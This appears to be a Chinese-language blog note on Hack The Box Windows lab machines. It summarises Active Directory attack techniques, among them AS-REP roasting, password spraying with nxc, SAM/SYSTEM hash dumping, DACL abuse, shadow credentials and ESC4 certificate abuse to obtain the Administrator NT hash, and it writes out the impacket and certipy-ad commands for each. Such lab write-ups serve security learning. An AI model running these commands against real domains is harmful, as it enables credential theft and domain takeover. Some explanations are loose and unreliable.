本篇靶机Certified,Cicada,EscapeTwo。环境都为windows
AS-REPRoasting
一种针对 Windows AD的密码攻击技术,它的目标是从AD中抓取和破解弱密码的用户凭据。这种技术特别针对使用 Kerberos 认证协议 的环境
其实有点类似像批量尝试匿名登陆,攻击脚本如下
impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/
nxc smb常用攻击参数
--rid-brute:用rid爆破用户名,爆破出来的可能比实际少,一般是在只有匿名用户的时候用
--continue-on-success:用来测试用户名和密码,直到成功也不停下。也就是密码喷洒
--shares:用来查看当前用户能够访问的smb目录
--users:查看当前用户能看到的用户名,会比rid-brute准确。而且能看到desc,说不定会有特殊收获
--local-auth:使用当前被攻击机器自带的本地身份验证,而不使用域验证
SeBackupPrivilege
和SeRestorePrivilege
权限
当使用whoami /pri查看用户有SeBackupPrivilege
和SeRestorePrivilege
权限时,就可以用PTH
步骤是先将注册表中的sam和system存下来
接着用secretsdump dump出hash
最后拿着hash登陆就行
或者用nxc
smbclient
使用格式如下
smbclient '\\11.4.5.14\' -U akared
进入后再输入密码就行
windows server常用端口服务对照表
445:smb(共享文件服务)
5985:winrm(远程命令执行)
135:rpcclient (搜集用户名和组名)
1433:mssql(数据库)
awk妙用
除了常规的-F分割外,还有一个就是NR。这个表示当前行数,从1开始计数。下面是个例子
awk -F' ' 'NR>1 {print $5}'
这样就能去掉首行内容。另外,awk还有一个特殊元素是$0,表示当前行的整行内容
awk经常被用在和paste配套使用,paste是用来对输出内容进行分割的,这样awk处理完的端口数据就可以直接丢到nmap
Writeowner权限修改密码
理论上说,有这个权限应该就能修改被控用户的密码。但这位博主没有成功,不知道为什么,就顺手记录一下吧https://cn-sec.com/archives/3623739.html
bloodhound信息收集
除了传统的上传exe和ps1搜集,还有一种是直接通过bloodhound-python,这种方法可以不需要拿到shell,但用户名密码还是得提供。适用于shell不方便使用的时候
bloodhound-python -c All -u oscar -p 86LxLBMgEWaKUnBG -ns 10.10.11.51 -d sequel.htb -dc DC01.sequel.htb --zip
bloodAD
一个可以修改用户AD中保存的权限的工具,下面示例如何修改用户ca_svc的owner为ryan
python bloodyAD.py --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan
impacket-dacledit
用来修改DACL的工具,顺便记录一下DACL和ACL的关系。ACL时所有控制权的“花名册”,包括读写用等常见权限。而DACL特别用来控制“访问权限”这一单一权限。但这个工具有一个功能就是能利用DACL将原本的仅访问修改为Fullcontrol
impacket-dacledit -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'
Kerberos影像攻击
在 Windows 域 中,kerberos是默认的身份验证协议。当用户或服务需要访问网络资源时,他们会向 KDC(Key Distribution Center) 请求一个票证,KDC 会生成一个加密的票证并返回给请求者。这个票证包含了用户的身份信息以及访问该资源的授权信息。用户通过 TGT(Ticket Granting Ticket) 向 KDC 请求访问其他服务时,KDC 会返回一个 服务票证,该票证证明用户的身份并允许访问相应的资源。
而影响攻击的核心原理就是利用TGT中密钥在域中一般是固定的,那么就可以利用这个密钥伪造一个原本不让访问的服务票据出来。攻击前提是必须有被伪造账户的所有权限,也就是上面提到过的Fullcontrol
利用的工具为certipy-ad
certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc
ntpdate
kerberos凭证获取有一个前提是你的本地机器时间必须和KDC一致,否则他就不给你。为了解决这个问题,就需要用到ntpdate来和KDC矫正时间(一般有启动kerberos的机器都会有ntp服务)
ntpdate {kDC ip}
如果你发现一只提示你时间改变的step但就是右上角矫正不了
那么就要检查你是否开启了systemd-timesyncd
或chrony
sudo systemctl status chrony
sudo systemctl status systemd-timesyncd
关掉就行。如果还是不行,那应该是你的虚拟机开启了与物理机时间同步的功能,需要在虚拟机软件的设置里关闭
ESC4漏洞
ESC4 是 Active Directory 证书服务(AD CS)中的一个漏洞,攻击者可以利用它来提升权限。
题目的环境是有一个Cert Publishers
组,这个组的成员可以修改证书模板的配置,从而可能允许他们注册高权限的证书,进一步获取域管理员权限。例子如下
利用这个漏洞一样是用到certipy-ad。首先选择证书模版并获取相应信息
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template {template name} -target {host name} -dc-ip {ip}
接着使用获取到的ca_svc用户拿着上面获取到的证书模版信息,伪造Administrator申请一个由Administrator申请的证书,成功申请后会由pfx文件保存
certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template {template name} -upn Administrator@{domain} -ns {ip} -dns {ip}
最后拿着这本证书(pfx文件)向KDC要来一个票据。certipy-ad这个工具会自动将获取到的票据中的nt hash给我们,以此来达到伪造和拿下管理员的目的(有种偷梁换柱的感觉^ ^)
certipy-ad auth -pfx {some.pfx} -dc-ip {ip}
后面这段7a8d是nt hash